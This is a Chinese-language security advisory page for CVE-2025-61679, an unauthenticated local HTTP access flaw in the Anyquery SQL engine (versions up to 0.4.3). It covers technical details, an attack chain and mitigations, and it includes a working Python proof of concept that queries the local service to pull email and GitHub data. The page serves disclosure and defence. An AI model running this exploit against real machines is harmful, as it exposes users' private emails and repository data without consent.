IPBUF安全漏洞报告
English
CVE-2025-61679 CVSS 7.7 高危

CVE-2025-61679 Anyquery本地HTTP服务未授权访问漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-61679
漏洞类型
未授权访问/认证绕过
CVSS评分
7.7 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Anyquery (基于SQLite的SQL查询引擎)

相关标签

未授权访问认证绕过AnyquerySQLite本地提权信息泄露CVE-2025-61679高危漏洞HTTP服务集成数据泄露

漏洞概述

Anyquery是一款构建在SQLite之上的SQL查询引擎,允许用户通过SQL语法查询各种数据源(如GitHub、Notion、邮件等)。CVE-2025-61679是Anyquery 0.4.3及以下版本中存在的一个高危未授权访问漏洞。该漏洞源于Anyquery内置的HTTP服务器在绑定到localhost端口时缺乏有效的身份认证机制。攻击者只要获得了本地机器的访问权限(即使是低权限账户),即可通过本地网络接口直接访问Anyquery的HTTP服务,无需提供任何凭据。更为严重的是,Anyquery作为数据集成工具,通常会存储和代理来自第三方服务的私有集成数据,例如用户的电子邮件、GitHub仓库、Notion文档等敏感信息。攻击者利用此漏洞可以未经授权地访问这些私有数据,获取用户的敏感信息。此外,由于该漏洞不会触发第三方提供商的异地登录告警,攻击行为更加隐蔽,难以被用户及时发现。该漏洞的CVSS评分为7.7,属于高危级别,攻击者需要本地访问权限,但无需认证和用户交互即可利用,对机密性和完整性均造成高影响。Anyquery官方已在0.4.4版本中修复了该问题,建议所有用户尽快升级。

技术细节

Anyquery作为一个SQL查询引擎,在本地运行时启动一个HTTP服务器以提供查询接口和集成数据访问功能。该HTTP服务器默认绑定在localhost的特定端口上(通常用于本地通信)。然而,在0.4.3及以下版本中,该HTTP服务缺少以下关键安全控制:

1. **缺乏认证机制**:HTTP服务器端点未实现任何身份验证或会话管理,攻击者只需向localhost端口发送HTTP请求即可获得服务访问权限。
2. **本地网络隔离不足**:虽然服务绑定在localhost,但由于本地多用户环境或通过SSH隧道等方式,攻击者仍可从同一台机器或通过本地网络访问该端口。
3. **集成令牌暴露风险**:Anyquery在本地存储了与第三方服务(如GitHub、邮件等)集成的访问令牌和凭据,未授权的攻击者可以通过HTTP接口查询这些数据,间接获取敏感信息。

利用方式:
- 攻击者首先需要获得目标机器的本地shell访问权限(即使是低权限用户)。
- 攻击者通过curl或其他HTTP客户端向Anyquery的本地端口发送请求。
- 由于无需认证,服务器直接返回查询结果,包括从集成的第三方服务获取的私有数据。
- 攻击者可以编写自动化脚本批量提取敏感信息,如用户邮件列表、私有仓库信息等。

修复方案:在0.4.4版本中,Anyquery增加了对HTTP服务器的认证要求,确保只有经过授权的用户才能访问查询接口和集成数据。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者通过各种途径(如弱口令、提权漏洞、社会工程等)获得目标机器的本地shell访问权限,即使仅为低权限用户账户。
STEP 2
步骤2:探测Anyquery服务
攻击者扫描本地端口,识别Anyquery HTTP服务器(默认端口如8073),确认服务运行状态。
STEP 3
步骤3:未授权访问HTTP接口
攻击者直接通过HTTP请求访问Anyquery的查询端点,由于服务缺少认证机制,请求被直接接受。
STEP 4
步骤4:枚举集成数据源
攻击者执行SQL查询,枚举所有可用的数据表,包括与第三方服务集成的私有数据源(如邮件、GitHub等)。
STEP 5
步骤5:提取敏感数据
攻击者通过SQL查询批量提取用户的私有集成数据,包括邮件内容、代码仓库信息等敏感信息,且不会触发第三方服务商的异地登录告警。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61679 PoC - Anyquery Unauthorized Local Access # This PoC demonstrates how an attacker with local access can # query private integration data via Anyquery's unauthenticated HTTP server import requests import json # Default Anyquery HTTP server port (typically 8073 or configurable) TARGET_HOST = "http://127.0.0.1:8073" def exploit_anyquery_unauthorized_access(): """ Exploit CVE-2025-61679: Access Anyquery HTTP server without authentication to retrieve private integration data (e.g., emails, GitHub data) """ print("[*] CVE-2025-61679 - Anyquery Unauthorized Access PoC") print(f"[*] Target: {TARGET_HOST}") # Step 1: Check if Anyquery HTTP server is accessible try: resp = requests.get(f"{TARGET_HOST}/", timeout=5) if resp.status_code == 200: print("[+] Anyquery HTTP server is reachable without authentication!") except requests.exceptions.ConnectionError: print("[-] Cannot connect to Anyquery HTTP server") return # Step 2: Execute arbitrary SQL queries to extract private data # Query 1: List available tables (integration data sources) payload = { "query": "SELECT name FROM sqlite_master WHERE type='table';" } resp = requests.post(f"{TARGET_HOST}/query", json=payload) print(f"[+] Available tables: {resp.text}") # Step 2: Extract private emails from integrated email account payload_email = { "query": "SELECT * FROM gmail_emails LIMIT 10;" } resp = requests.post(f"{TARGET_HOST}/query", json=payload_email) print(f"[+] Stolen email data: {resp.text}") # Step 3: Extract private GitHub repository information payload_github = { "query": "SELECT name, private FROM github_my_repositories;" } resp = requests.post(f"{TARGET_HOST}/query", json=payload_github) print(f"[+] Stolen GitHub data: {resp.text}") if __name__ == "__main__": exploit_anyquery_unauthorized_access()

影响范围

Anyquery <= 0.4.3

防御指南

临时缓解措施
在无法立即升级到0.4.4版本的情况下,建议采取以下临时缓解措施:1)通过防火墙(如iptables)限制Anyquery HTTP端口仅允许特定用户或进程访问;2)将Anyquery绑定到Unix Domain Socket而非TCP端口;3)在系统层面限制其他用户对Anyquery配置目录和数据文件的访问权限;4)定期轮换第三方集成的访问令牌,降低数据泄露后的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表